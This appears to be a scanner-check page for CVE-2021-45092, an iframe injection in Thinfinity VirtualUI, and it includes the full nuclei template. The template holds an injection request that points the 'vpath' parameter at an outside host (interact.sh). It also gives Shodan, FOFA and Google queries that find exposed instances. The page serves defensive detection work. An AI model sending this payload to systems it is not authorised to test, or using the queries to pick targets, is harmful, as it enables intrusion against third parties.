Thinfinity Iframe Injection

criticalseverity

9.8CVSS score

40.6%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

A vulnerability exists in Thinfinity VirtualUI in a function located in /lab.html reachable which by default could allow IFRAME injection via the "vpath" parameter.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential remote code execution.

Fix

Apply the latest security patches or updates provided by the vendor to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/lab.html?vpath=//interact.sh
Positive when: matches /.*vpath.*/

Run it with nuclei: nuclei -id CVE-2021-45092 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-45092

info:
  name: Thinfinity Iframe Injection
  author: danielmofer
  severity: critical
  description: A vulnerability exists in Thinfinity VirtualUI in a function located in /lab.html reachable which by default  could allow IFRAME injection via the "vpath" parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential remote code execution.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the vulnerability.
  reference:
    - https://github.com/cybelesoft/virtualui/issues/2
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44848
    - https://www.tenable.com/cve/CVE-2021-45092
    - http://packetstormsecurity.com/files/166068/Thinfinity-VirtualUI-2.5.41.0-IFRAME-Injection.html
    - https://github.com/danielmofer/nuclei_templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-45092
    cwe-id: CWE-74
    epss-score: 0.40584
    epss-percentile: 0.98662
    cpe: cpe:2.3:a:cybelesoft:thinfinity_virtualui:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cybelesoft
    product: thinfinity_virtualui
    shodan-query: http.title:"thinfinity virtualui"
    fofa-query: title="thinfinity virtualui"
    google-query: intitle:"thinfinity virtualui"
  tags: cve2021,cve,packetstorm,iframe,thinfinity,tenable,injection,cybelesoft,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/lab.html?vpath=//interact.sh"

    matchers:
      - type: regex
        regex:
          - ".*vpath.*"
          - "thinfinity"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from